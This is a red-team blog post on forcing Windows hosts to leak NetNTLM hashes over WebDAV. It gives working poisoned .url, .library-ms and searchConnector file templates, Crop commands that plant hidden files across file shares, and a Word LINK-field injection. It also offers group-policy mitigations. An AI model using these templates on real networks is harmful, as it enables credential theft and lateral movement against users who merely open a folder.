Overview

In the ActiveBreach red team, we’re always looking for innovative approaches for lateral movement and privilege escalation. For many of the environments we operate in, focusing on the classic Active Directory attacks loved by many red teams will not end well, as we’re often battling defenders who’ve tuned their detections to these well known tactics.

One of the most effective tactics for traditional internal penetration tests, where you typically have your own machine plugged in to the network, involves collecting or relaying NetNTLM hashes through LLMNR or netbios poisoning. This attack is well understood and widely documented, including great resources by @byt3bl33d3r and @W00Tock. Setting aside the approach of LLMNR/netbios poisoning, the collection of NetNTLM hashes is not only highly effective, but also difficult to detect in large environments.

While conceptually this a very powerful attack path, few have been effective in weaponising it for practical use in a red team engagement where you’re typically operating as a low privileged user over a command-and-control channel. Indeed, most of the attempts that we’re aware of to date have required administrative rights and/or have installed a driver to hijack communications on 445; some examples of prior work include:

• https://ijustwannared.team/2017/05/27/responder-and-layer-2-pivots/
• https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
• https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/
• https://github.com/Kevin-Robertson/Inveigh

More recently, NCC Group released Sigwhatever which injects a link to a hosted image inside an Outlook signature, forcing authentication over HTTP, providing an interesting vector for targeted internal spear phishing.

This work was conceptually similar to some of our own research in this space and has been a game changer for many of our operations. In the interests of contributing to the red team community, we will outline our work in this post.

Harvesting Hashes

In order for a remote host to authenticate to you, for example as a result of following a UNC path, there are certain conditions that must be met. Predominantly, to minimise the likelihood of leaking hashes to external networks like the Internet, your system must fall within the “local intranet” zone. The easiest way to satisfy this requirement when you already have a foothold on the target’s internal network is to use your system’s NetBIOS name. That is, if you’re on workstation1.contoso.com, you should use workstation1 in your UNC path to force it in to the local intranet zone.

There are several services that support authentication requests and as we’ve previously noted, obtaining hashes from SMB (445) is non-trivial without administrator rights and even then the approaches may not be desirable from an OpSec perspective. An alternate approach is over HTTP by abusing the WebDAV Mini-Redirector.

Distributed Authoring and Versioning (DAV) is an extension of the HTTP protocol that facilitates file sharing over HTTP. Windows implements WebDAV using the WebClient service, which has the purpose of making file interactions through native API calls seamless for Windows applications; that is it’s treated as a remote file system. The beauty of this is that the remote HTTP server can operate on any port, providing significant flexibility from a red team perspective and allows us to avoid tackling the already bound SMB port.

A connection to a WebDAV enabled HTTP server can be initiated using a UNC path like \\workstation1@8080\mdsec.png.

When a file operation is triggered to the WebDAV enabled UNC path, the authenticating host will do the following:

1. Issue an OPTIONS method to discover what the supported features are of the web server,
2. If PROPFIND is supported, a PROPFIND request method is issued to discover the directory structure,
3. If the web server responds with a 401 Unauthorised and a request for NTLM authentication via the WWW-Authenticate header, the WebDAV Mini-Redirector will then proceed to initiate the NTLM challenge response authentication which ultimately supplies the NetNTLM hash to the web server.

The overall flow for authentication may look something like this:

In order to mimic this protocol, we created a simple .NET based threaded HTTP server to handle authentication requests in a tool we named Farmer. Farmer can be run on any port and will recover NetNTLM hashes from any incoming connections, either printing them to the screen or storing them in an encrypted log file on the file system. Although currently not supported in this release, Farmer could also be extended to perform cross protocol relaying such as HTTP to SMB.

Of course to accept an incoming connection you may need to deal with any host-based firewalls that may be present. However, carefully reviewing the Windows Firewall access control list will almost always present an opportunity through a whitelisted process or port (hint: seatbelt.exe WindowsFirewall). @NinjaParanoid also illustrated some additional tricks using built-in whitelisted URIs such as /Temporary_Listen_Addresses/ that may prove fruitful in dodging firewall restrictions you encounter.

Farmer can be executed over a C2 channel, and simply requires an incoming WebDav connection to recover the hash:

Now that we’ve outlined the principle of how hashes can be collected, let’s explore some avenues for inducing users to connect to the Farmer server.

Spreading your Crop

In order to start harvesting NetNTLM hashes, we need to coerce uses in to authenticating to the Farmer server. We could of course just send them a phish and attempt to social engineer them in to clicking on the UNC path, however this would likely raise suspicion. From an tradecraft perspective, it would be much more effective if we could force authentication without the user’s knowledge.

One of the most well known techniques for forcing this authentication is through an SCF file, although from our testing this appears to have been resolved.

The methodology behind how the SCF forced authentication was through a remotely hosted icon, which when parsed by explorer would cause a remote authentication to the location pointed to by the UNC path (in our case the Farmer WebDAV service). With this in mind, we came up with the following (likely incomplete) shortlist of file types that could be (ab)used for effect:

• Windows Shortcuts (.lnk)
• URL files (.url)
• Windows Library Files (.library-ms)
• Windows Search Connectors (.searchConnector-ms)

Let’s explore each of these in a little more detail.

Windows Shortcuts

Windows Shortcut files can themselves point to a UNC path, but this of course requires the user to open the LNK. However, within the LNK file format is a string value called “icon location” which points to the location for the LNK’s icon file. This value is automatically read and parsed by explorer dependent on the HasIconLocation flag; if present the user simply has to open the containing folder to force authentication.

We can create an LNK with a icon location pointing to our Farmer WebDAV server with the Crop tool (which we’ll cover in more detail below) as follows:

Parsing the LNK with LECmd we can verify that the LNK has the HasIconLocation flag, with the Icon Location pointing to the WebDAV share:

Any user opening the folder containing the LNK will now send their NetNTLM hash to the Farmer server.

URL Files

URL files are shortcuts for the browser and can be used to open a URL. Just like LNKs, URL files can include an icon to display for the file. Explorer can be forced in to retrieving an icon from a UNC path when opening the containing folder by specifying an environment variable in the path, for example:

[InternetShortcut]
URL=farmer
WorkingDirectory=farmer
IconFile=\\\\workstation@8888\\%USERNAME%.icon
IconIndex=1

The Crop tool (covered below, during weaponisation) can be used to create poisoned URL files as follows:

Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico

Windows Library Files

Windows Library files are a virtual container for user content and a .library-ms file can be used to point to a remote or local storage location. Abuse of these files has previously been talked about by my colleague @dtmsecurity, as well as within the CIA Vault7 leaks.

As hinted within the Vault 7 leak, the SearchConnectorDescription section of the library-ms file can point to a remote location which will again force authentication through explorer when opening the container folder:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>\\\\workstation@8888\\mdsec</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

The Crop tool (covered below, during weaponisation) can be used to create poisoned library-ms files as follows:

Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec

Windows Search Connectors

Search Connector files are used to connect users with data stored in remote locations and are similar to the aforementioned library-ms file.

The Search Connector file format also allows an icon to be used to customise how the connector is displayed, this can be hosted on a remote URI such as our Farmer WebDAV server by using the iconReference XML tag:

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
    <iconReference>imageres.dll,-1002</iconReference>
    <description>Microsoft Outlook</description>
    <isSearchOnlyItem>false</isSearchOnlyItem>
    <includeInStartMenuScope>true</includeInStartMenuScope>
    <iconReference>\\\\workstation@8888\\mdsec.ico</iconReference>
    <templateInfo>
        <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
    </templateInfo>
    <simpleLocation>
        <url>\\\\workstation@8888\\mdsec</url>
    </simpleLocation>
</searchConnectorDescription>

Simply opening a folder containing the .searchConnector-ms file will again force explorer to authenticate.

Weaponising

In order to weaponise exploitation of each of these file types, we created an additional tool (named Crop). Crop works by writing the poisoned file to a location controlled by the operator such as a network file share, when the location is opened by a user, explorer will attempt to recover the icon file for the file type and trigger the authentication. It should be noted that the user does not need to open the file, they just merely need to open the containing folder to force the authentication. To spread the crop further, we added a —recurse flag which will work its way through any writeable child folders within the parent and drop the the poisoned file.

During this approach we’re of course creating various new files to force authentication and of course this may potentially arose suspicion from the user. One option to make this less obvious may be to set the NTFS hidden attribute to mask it from Explorer, which can be trivially done in .NET as follows:

File.SetAttributes(path, FileAttributes.Hidden);

Fertilising

The approach we described relies on creating new files and in some situations this may not be desirable; alternatively we may wish to poison existing, commonly used files such that when they’re reopened we can force authentication.

One of the most commonly used file types by businesses are Office documents and it is not uncommon to see these scattered around file shares. To poison Office documents we created an additional tool, named Fertiliser. This works by taking an existing Word docx and poisoning it by injecting a new link field which points to our remote WebDAV share. We can tell Word to auto update the link field when opening the document by setting the “\a” instruction in the field code:

When the user opens the document, they will be prompted with a warning similar to the following:

LINK Excel.Sheet.8 \\\\workstation1@8888\\mdsec.png \\a

However, regardless of the user’s choice (Yes or No), the NetNTLM hash is still leaked.

Let’s take a look at how this works in practice:

This can of course be expanded to other office documents and file types to broaden the options available to the operator.

Mitigations

Authentication is forced from most of the file types that we’ve documented when Explorer attempts to load an icon file. By default, Explorer is configured to display thumbnails and icons on network folders, it is however possible to disable this behaviour using the “DisableThumbnailsOnNetworkFolders” and “DisableThumbnails” group policy settings.

Enabling these settings will prevent Explorer loading icon files, limiting the exposure to the technique. However, it does not of course prevent the poisoning of Office documents using link fields.

Further Work

There are a number of potential areas in which this tooling and methodology could be improved, some of which is still on our radar to investigate.

Firstly, there are likely many other additional file types that may be of interest, some of which may not be affected by disabling icon loading from network shares; we welcome any submissions from the community to expand the scope of the Crop tool. Additionally, other Office documents such as Excel and PowerPoint files are undoubtedly susceptible to field links or similar remote resource injection and are good candidates for expanding Fertiliser.

Finally, the overall impact of the technique could be significantly enhanced by introducing cross protocol relaying, for example from HTTP to SMB or LDAP. This is something we are currently working on an hope to be able to push in the near future.

Good luck and happy Farming!

The source code to the Farmer toolkit can be found on the MDSec ActiveBreach github.

Finally, thanks to @StanHacked and the rest of the @Outflank team for assisting with in the wild testing and feedback.

This blog post was written by Dominic Chell.